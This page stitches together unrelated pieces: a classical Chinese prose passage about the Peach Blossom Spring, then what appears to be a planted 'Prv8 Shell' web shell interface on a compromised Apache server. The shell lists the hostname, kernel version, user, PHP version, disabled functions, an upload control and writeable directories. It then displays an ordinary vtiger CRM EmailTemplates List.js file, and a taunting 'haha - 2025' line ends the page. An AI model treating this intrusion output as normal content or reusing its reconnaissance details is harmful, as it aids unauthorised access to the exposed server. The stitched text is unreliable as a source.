晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。   林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。   见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝)   既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。   南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。 .
Prv8 Shell
Server : Apache
System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64
User : rainic ( 1014)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/akaindir/public_html/crm/layouts/v7/modules/EmailTemplates/resources/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //home/akaindir/public_html/crm/layouts/v7/modules/EmailTemplates/resources/List.js
/*+***********************************************************************************
 * The contents of this file are subject to the vtiger CRM Public License Version 1.0
 * ("License"); You may not use this file except in compliance with the License
 * The Original Code is:  vtiger CRM Open Source
 * The Initial Developer of the Original Code is vtiger.
 * Portions created by vtiger are Copyright (C) vtiger.
 * All Rights Reserved.
 *************************************************************************************/

Vtiger_List_Js("EmailTemplates_List_Js", {
    massDeleteRecords: function (url, instance) {
        var listInstance = Vtiger_List_Js.getInstance();
        if (typeof instance != "undefined") {
            listInstance = instance;
        }
        var validationResult = listInstance.checkListRecordSelected();
        if (validationResult != true) {
            // Compute selected ids, excluded ids values, along with cvid value and pass as url parameters
            var selectedIds = listInstance.readSelectedIds(true);
            var excludedIds = listInstance.readExcludedIds(true);
            var cvId = listInstance.getCurrentCvId();
            var message = app.vtranslate('LBL_MASS_DELETE_CONFIRMATION');

            // warning message for Customer Login Details template
            if (jQuery.inArray("10", JSON.parse(selectedIds)) != -1) {
                var message = app.vtranslate('LBL_CUTOMER_LOGIN_DETAILS_TEMPLATE_DELETE_MESSAGE');
            }

            app.helper.showConfirmationBox({'message': message}).then(
                    function (e) {
                        var deleteURL = url + '&viewname=' + cvId + '&selected_ids=' + selectedIds + '&excluded_ids=' + excludedIds;
                        var listViewInstance = Vtiger_List_Js.getInstance();

                        if (app.getModuleName() == 'Documents') {
                            var defaultparams = listInstance.getDefaultParams();
                            deleteURL += '&folder_id=' + defaultparams['folder_id'] + '&folder_value=' + defaultparams['folder_value'];
                        }
                        deleteURL += "&search_params=" + JSON.stringify(listViewInstance.getListSearchParams());
                        app.helper.showProgress();
                        app.request.post({url: deleteURL}).then(
                                function () {
                                    app.helper.hideProgress();
                                    listInstance.clearList();
                                    listInstance.loadListViewRecords();
                                }
                        );
                    })
        } else {
            listInstance.noRecordSelectedAlert();
        }
    },
    deleteRecord: function (recordId) {
        var listInstance = Vtiger_List_Js.getInstance();
        var message = app.vtranslate('LBL_DELETE_CONFIRMATION');

        // warning message for Customer Login Details template
        if (recordId == "10") {
            var message = app.vtranslate('LBL_CUTOMER_LOGIN_DETAILS_TEMPLATE_DELETE_MESSAGE');
        }

        app.helper.showConfirmationBox({'message': message}).then(
                function (e) {
                    var module = app.getModuleName();
                    var postData = {
                        "module": module,
                        "action": "DeleteAjax",
                        "record": recordId,
                        "parent": app.getParentModuleName()
                    }
                    app.helper.showProgress();
                    app.request.post({data: postData}).then(
                            function (error, data) {
                                app.helper.hideProgress();
                                if (!error) {
                                    var orderBy = jQuery('#orderBy').val();
                                    var sortOrder = jQuery("#sortOrder").val();
                                    var urlParams = {
                                        "viewname": data.viewname,
                                        "orderby": orderBy,
                                        "sortorder": sortOrder
                                    }
                                    jQuery('#recordsCount').val('');
                                    jQuery('#totalPageCount').text('');
                                    listInstance.loadListViewRecords(urlParams).then(function () {
                                        listInstance.updatePagination();
                                    });
                                } else {
                                    app.helper.showErrorNotification({message: error});
                                }
                            },
                            function (error, err) {

                            }
                    );
                },
                function (error, err) {
                }
        );
    }

}, {
    
    registerRowDoubleClickEvent: function () {
        
	},
	
	addIndexComponent : function() {
		this.addModuleSpecificComponent('Index','Vtiger','Settings');
	},
	
    
    /**
     * Function to override function written in Vtiger List.js file to add extra parameter for
     * every page navigation click and sorting
     * @returns {ListAnonym$6.getDefaultParams.params}
     */
    getDefaultParams: function () {
        var container = this.getListViewContainer();
        var pageNumber = container.find('#pageNumber').val();
        var module = "EmailTemplates";
        var parent = app.getParentModuleName();
        var cvId = this.getCurrentCvId();
        var orderBy = container.find('[name="orderBy"]').val();
        var sortOrder = container.find('[name="sortOrder"]').val();
        var appName = container.find('#appName').val();
        var params = {
            'module': module,
            'parent': parent,
            'page': pageNumber,
            'view': "List",
            'viewname': cvId,
            'orderby': orderBy,
            'sortorder': sortOrder,
            'app': appName
        }
        params.search_params = JSON.stringify(this.getListSearchParams());
        params.tag_params = JSON.stringify(this.getListTagParams());
        params.nolistcache = (container.find('#noFilterCache').val() == 1) ? 1 : 0;
        params.starFilterMode = container.find('.starFilter li.active a').data('type');
        params.list_headers = container.find('[name="list_headers"]').val();
        params.tag = container.find('[name="tag"]').val();
        params.viewType = container.find('[name="viewType"]').val();
        return params;
    },
    registerAccordionClickEvent: function () {
        jQuery('.settingsgroup-accordion a[data-parent="#accordion"]').on('click', function (e) {
            var target = jQuery(e.currentTarget);
            var closestItag = target.find('i');

            if (closestItag.hasClass('fa-chevron-right')) {
                closestItag.removeClass('fa-chevron-right').addClass('fa-chevron-down');
            } else {
                closestItag.removeClass('fa-chevron-down').addClass('fa-chevron-right');
            }

            jQuery('.settingsgroup i').not(closestItag).removeClass('fa-chevron-down').addClass('fa-chevron-right');
        });
    },
    /*
     * Function to register the list view delete record click event
     */
    registerDeleteRecordClickEvent: function () {
        jQuery('#page').on('click', '.deleteRecordButton', function(e){
            var elem = jQuery(e.currentTarget);
            var originalDropDownMenu = elem.closest('.dropdown-menu').data('original-menu');
            var parent = app.helper.getDropDownmenuParent(originalDropDownMenu);
            var recordId = parent.closest('tr').data('id');
            EmailTemplates_List_Js.deleteRecord(recordId);
        });
    },
    registerViewType: function () {
        var thisInstance = this;
        var listViewContentDiv = this.getListViewContainer();
        listViewContentDiv.on('click', '.viewType', function (e) {
            var mode = jQuery(e.currentTarget).data('mode');
            //If template view is in thumbnail mode, delete icon should be hided
            if(mode == 'grid'){
                 jQuery('.fa-trash').parents('div.btn-group').addClass('hide');
            } else {
                jQuery('.fa-trash').parents('div.btn-group').removeClass('hide');
            }
                
            listViewContentDiv.find('input[name="viewType"]').val(mode);
            var listViewInstance = Vtiger_List_Js.getInstance();
            var urlParams = thisInstance.getDefaultParams();
            thisInstance.loadListViewRecords(urlParams).then(function () {
                listViewInstance.updatePagination();
            });
        });
    },
    /**
     * Function to show on mouseover and to hide on mouseleave 
     */
    registerThumbnailHoverActionEvent: function () {
        jQuery('#listViewContent').on('mouseover', '.thumbnail, .templateActions', function (e) {
            jQuery(e.currentTarget).find('div').eq(1).removeClass('hide').addClass('templateActions');
        });
        jQuery('#listViewContent').on('mouseleave', '.thumbnail, .templateActions', function (e) {
            jQuery(e.currentTarget).find('div').eq(1).removeClass('templateActions').addClass('hide');
        });
    },
    
    /**
     * Function to create the template or edit the existing template
     */
    registerTemplateEditEvent: function () {
        jQuery('#listViewContent').on('click', '.imageDiv img,.editTemplate', function (e) {
            var templateId = jQuery(e.currentTarget).data('value');
            var redirectUrl = 'index.php?module=EmailTemplates&view=Edit&record='+templateId;
            window.location.href = redirectUrl;
        });
    },
    
    /**
     * Function will duplicate the existing template
     */
    registerTemplateDuplicationEvent: function () {
        jQuery('#listViewContent').on('click', '.templateDuplication', function (e) {
            var templateId = jQuery(e.currentTarget).attr('data-value');
            var redirectUrl = 'index.php?module=EmailTemplates&view=Edit&record='+templateId+'&isDuplicate=true';
            window.location.href = redirectUrl;
        });
    },
    
    /**
     * Function to prompt before deleting the template
     */
    registerPromptTemplateDeleteEvent: function () {
        var thisInstance = this;
        jQuery('#listViewContent').on('click', '.fa-trash', function (e) {
            var templateId = jQuery(e.currentTarget).attr('data-value');
            var message = app.vtranslate('JS_LBL_ARE_YOU_SURE_YOU_WANT_TO_DELETE');
            app.helper.showConfirmationBox({message: message}).then(function(e){
                thisInstance.registerTemplateDeleteEvent(templateId);
            }, function (error, err) {
                // if error occurred
            });
        });
    },
    
    /**
     * Function to delete the template 
     */
    registerTemplateDeleteEvent: function (templateId) {
        var params = {
            'module': "EmailTemplates",
            'action': "Delete",
            'record': templateId,
            'ajaxDelete': true,
        };
        app.request.post({data:params}).then(function (error,data) {
            if (data) {
                window.location.href = data;
            }
         });
    },
    
    
     loadListViewRecords : function(urlParams) {
        var self = this;
        var aDeferred = jQuery.Deferred();
        var defParams = this.getDefaultParams();
        if(typeof urlParams == "undefined") {
            urlParams = {};
        }
        if(typeof urlParams.search_params == "undefined") {
            urlParams.search_params = JSON.stringify(this.getListSearchParams(false));
        }
        urlParams = jQuery.extend(defParams, urlParams);
        app.helper.showProgress();
		
        app.request.post({data:urlParams}).then(function(err, res){
            aDeferred.resolve(res);
            self.placeListContents(res);
            app.event.trigger('post.listViewFilter.click', jQuery('.searchRow'));
            app.helper.hideProgress();
            self.markSelectedIdsCheckboxes();
            self.registerDynamicListHeaders();
            
            self.registerDynamicDropdownPosition();
            self.registerDropdownPosition();//for every ajax request more-drop down in listview
        });
        return aDeferred.promise();
    },
    
    /**
     * Function to preview existing email template
     * @returns {undefined}
     */
    registerPreviewTemplateEvent: function(){
        var thisInstance = this;
        jQuery('#listViewContent').on('click','.previewTemplate',function(e){
            var record = jQuery(e.currentTarget).data('value');
            var params = {
                'module': 'EmailTemplates',
                'view'  : "ListAjax",
                "mode"  : "previewTemplate",
                "record": record
            };
            app.helper.showProgress();
            app.request.post({data: params}).then(function (error, data) {
                app.helper.loadPageContentOverlay(data).then(function(){
                    thisInstance.showTemplateContent(record);
                });
            });
        });  
    },
    
    /**
     * Function to show template content
     * @param {type} record
     * @returns {undefined}
     */
    showTemplateContent: function(record){
        var params={
            "module" : "EmailTemplates",
            "action" : "ShowTemplateContent",
            "mode"   : "getContent",
            "record" : record
        };
        app.request.post({data: params}).then(function(error, data){
            app.helper.hideProgress();
            var templateContent = data.content;
            jQuery('#TemplateIFrame').contents().find('html').html(templateContent);
        });
    },
    
    registerEvents: function () {
        this._super();
        this.registerAccordionClickEvent();
        this.registerViewType();
        this.registerThumbnailHoverActionEvent();
        this.registerPromptTemplateDeleteEvent();
        this.registerTemplateDuplicationEvent();
        this.registerTemplateEditEvent();
        this.registerPreviewTemplateEvent();
        if(window.hasOwnProperty('Settings_Vtiger_Index_Js')){
            var instance = new Settings_Vtiger_Index_Js(); 
            instance.registerBasicSettingsEvents();
        }
        
    }
});

haha - 2025